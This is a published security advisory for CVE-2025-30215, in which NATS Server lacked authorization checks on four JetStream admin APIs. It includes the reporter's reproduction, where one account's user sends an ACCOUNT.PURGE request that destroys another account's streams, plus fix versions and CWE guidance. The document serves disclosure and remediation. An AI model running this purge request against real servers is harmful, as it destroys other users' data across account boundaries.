GHSA-fhg8-qxh5-7q3w BIT-nats-2025-30215 CVE-2025-30215 GO-2025-3600
NATS Server may fail to authorize certain Jetstream admin APIs
- Severity
- 9.6 / 10
- Critical · CVSS 3.1
- Exploit chance (EPSS)
- 0.60%
- Chance of exploitation in the next 30 days. Higher than 48.78% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
2.11.1- Upgrade github.com/nats-io/nats-server/v2 to this version or later
Description
Advisory
The management of JetStream assets happens with messages in the $JS. subject namespace in the system account; this is partially exposed into regular accounts to allow account holders to manage their assets.
Some of the JS API requests were missing access controls, allowing any user with JS management permissions in any account to perform certain administrative actions on any JS asset in any other account. At least one of the unprotected APIs allows for data destruction. None of the affected APIs allow disclosing stream contents.
Affected versions
NATS Server:
- Version 2 from v2.2.0 onwards, prior to v2.11.1 or v2.10.27
Original Report
(Lightly edited to confirm some supposition and in the summary to use past tense)
Summary
nats-server did not include authorization checks on 4 separate admin-level JetStream APIs: account purge, server remove, account stream move, and account stream cancel-move.
In all cases, APIs are not properly restricted to system-account users. Instead, any authorized user can execute the APIs, including across account boundaries, as long as the current user merely has permission to publish on $JS.>.
Only the first seems to be of highest severity. All are included in this single report as they seem likely to have the same underlying root cause.
Reproduction of the ACCOUNT.PURGE case is below. The others are like it.
Details & Impact
Issue 1: $JS.API.ACCOUNT.PURGE.*
Any user may perform an account purge of any other account (including their own).
Risk: total destruction of Jetstream configuration and data.
Issue 2: $JS.API.SERVER.REMOVE
Any user may remove servers from Jetstream clusters.
Risk: Loss of data redundancy, reduction of service quality.
Issue 3: $JS.API.ACCOUNT.STREAM.MOVE.*.* and CANCEL_MOVE
Any user may cause streams to be moved between servers.
Risk: loss of control of data provenance, reduced service quality during move, enumeration of account and/or stream names.
Similarly for $JS.API.ACCOUNT.STREAM.CANCEL_MOVE.*.*
Mitigations
It appears that users without permission to publish on $JS.API.ACCOUNT.> or $JS.API.SERVER.> are unable to execute the above APIs.
Unfortunately, in many configurations, an 'admin' user for a single account will be given permissions for $JS.> (or simply >), which allows the improper access to the system APIs above.
Scope of impact
Issues 1 and 3 both cross boundaries between accounts, violating promised account isolation. All 3 allow system level access to non-system account users.
While I cannot speak to what authz configurations are actually found in the wild, per the discussion in Mitigations above, it seems likely that at least some configurations are vulnerable.
Additional notes
It appears that $JS.API.META.LEADER.STEPDOWN does properly restrict to system account users. As such, this may be a pattern for how to properly authorize these other APIs.
PoC
Environment
Tested with: nats-server 2.10.26 (installed via homebrew) nats cli 0.1.6 (installed via homebrew) macOS 13.7.4
Reproduction steps
$ nats-server --version
nats-server: v2.10.26
$ nats --version
0.1.6
$ cat nats-server.conf
listen: '0.0.0.0:4233'
jetstream: {
store_dir: './tmp'
}
accounts: {
'$SYS': {
users: [{user: 'sys', password: 'sys'}]
},
'TEST': {
jetstream: true,
users: [{user: 'a', password: 'a'}]
},
'TEST2': {
jetstream: true,
users: [{user: 'b', password: 'b'}]
}
}
$ nats-server -c ./nats-server.conf
...
[90608] 2025/03/02 11:43:18.494663 [INF] Using configuration file: ./nats-server.conf
...
[90608] 2025/03/02 11:43:18.496395 [INF] Listening for client connections on 0.0.0.0:4233
...
# Authentication is effectively enabled by the server:
$ nats -s nats://localhost:4233 account info
nats: error: setup failed: nats: Authorization Violation
$ nats -s nats://localhost:4233 account info --user sys --password wrong
nats: error: setup failed: nats: Authorization Violation
$ nats -s nats://localhost:4233 account info --user a --password wrong
nats: error: setup failed: nats: Authorization Violation
$ nats -s nats://localhost:4233 account info --user b --password wrong
nats: error: setup failed: nats: Authorization Violation
# Valid credentials work, and users properly matched to accounts:
$ nats -s nats://localhost:4233 account info --user sys --password sys
Account Information
User: sys
Account: $SYS
...
$ nats -s nats://localhost:4233 account info --user a --password a
Account Information
User: a
Account: TEST
...
$ nats -s nats://localhost:4233 account info --user b --password b
Account Information
User: b
Account: TEST2
...
# Add a stream and messages to account TEST (user 'a'):
$ nats -s nats://localhost:4233 --user a --password a stream add stream1 --subjects s1 --storage file --defaults
Stream stream1 was created
...
$ nats -s nats://localhost:4233 --user a --password a publish s1 --count 3 "msg {{Count}}"
11:50:05 Published 5 bytes to "s1"
11:50:05 Published 5 bytes to "s1"
11:50:05 Published 5 bytes to "s1"
# Messages are correctly persisted on account TEST, and not on TEST2:
$ nats -s nats://localhost:4233 --user a --password a stream ls
╭───────────────────────────────────────────────────────────────────────────────╮
│ Streams │
├─────────┬─────────────┬─────────────────────┬──────────┬───────┬──────────────┤
│ Name │ Description │ Created │ Messages │ Size │ Last Message │
├─────────┼─────────────┼─────────────────────┼──────────┼───────┼──────────────┤
│ stream1 │ │ 2025-03-02 11:48:49 │ 3 │ 111 B │ 46.01s │
╰─────────┴─────────────┴─────────────────────┴──────────┴───────┴──────────────╯
$ nats -s nats://localhost:4233 --user b --password b stream ls
No Streams defined
$ du -h tmp/jetstream
0B tmp/jetstream/TEST/streams/stream1/obs
8.0K tmp/jetstream/TEST/streams/stream1/msgs
16K tmp/jetstream/TEST/streams/stream1
16K tmp/jetstream/TEST/streams
16K tmp/jetstream/TEST
16K tmp/jetstream
# User b (account TEST2) sends a PURGE command for account TEST (user a).
# According to the source comments, user b shouldn't even be able to purge it's own account, much less another one.
$ nats -s nats://localhost:4233 --user b --password b request '$JS.API.ACCOUNT.PURGE.TEST' ''
11:54:50 Sending request on "$JS.API.ACCOUNT.PURGE.TEST"
11:54:50 Received with rtt 1.528042ms
{"type":"io.nats.jetstream.api.v1.account_purge_response","initiated":true}
# From nats-server in response to the purge request:
[90608] 2025/03/02 11:54:50.277144 [INF] Purge request for account TEST (streams: 1, hasAccount: true)
# And indeed, the stream data is gone on account TEST:
$ du -h tmp/jetstream
0B tmp/jetstream
$ nats -s nats://localhost:4233 --user a --password a stream ls
No Streams defined
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/nats-io/nats-server/v2 | >= 2.11.0-RC.1, < 2.11.1 |
2.11.1 |
| github.com/nats-io/nats-server/v2 | >= 2.2.0, < 2.10.27 |
2.10.27 |
| github.com/nats-io/nats-server/v2 | >= 2.2.0, < 2.10.27>= 2.11.0, < 2.11.1 |
2.10.272.11.1 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/nats-io/nats-server/v2 Go → 2.11.1
- go
go get github.com/nats-io/nats-server/v2@v2.11.1 && go mod tidy
Severity breakdown
CVSS 3.1 9.6
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Changed
- Confidentiality
- None
- Integrity
- High
- Availability
- High
Weakness
CWE-285: Improper Authorization
The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CWE-287: Improper Authentication
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
How to prevent it
- Architecture and Design: Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-pq2q-rcw4-3hr6 NATS: Pre-auth remote server crash via WebSocket frame length overflow in wsRead | High | Also affects github.com/nats-io/nats-server/v2 |
| GHSA-3f24-pcvm-5jqc NATS has mTLS verify_and_map authentication bypass via incorrect Subject DN matching | Medium | Also affects github.com/nats-io/nats-server/v2 |
| GHSA-55h8-8g96-x4hj NATS: Leafnode connections allow spoofing of Nats-Request-Info identity headers | Medium | Also affects github.com/nats-io/nats-server/v2 |
| GHSA-pwx7-fx9r-hr4h NATS Server: Incomplete Stripping of Nats-Request-Info Header Allows Identity Spoofing | Medium | Also affects github.com/nats-io/nats-server/v2 |
| GHSA-9983-vrx2-fg9c NATS JetStream has an authorization bypass through its Management API | Medium | Also affects github.com/nats-io/nats-server/v2 |
| GHSA-8r68-gvr4-jh7j NATS is vulnerable to pre-auth DoS through WebSockets client service | Medium | Also affects github.com/nats-io/nats-server/v2 |
| GHSA-vprv-35vv-q339 NATS has pre-auth server panic via leafnode handling | High | Also affects github.com/nats-io/nats-server/v2 |
| GHSA-jxxm-27vp-c3m5 NATS allows MQTT clients to bypass ACL checks | Medium | Also affects github.com/nats-io/nats-server/v2 |
Credits: Thomas Morgan
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor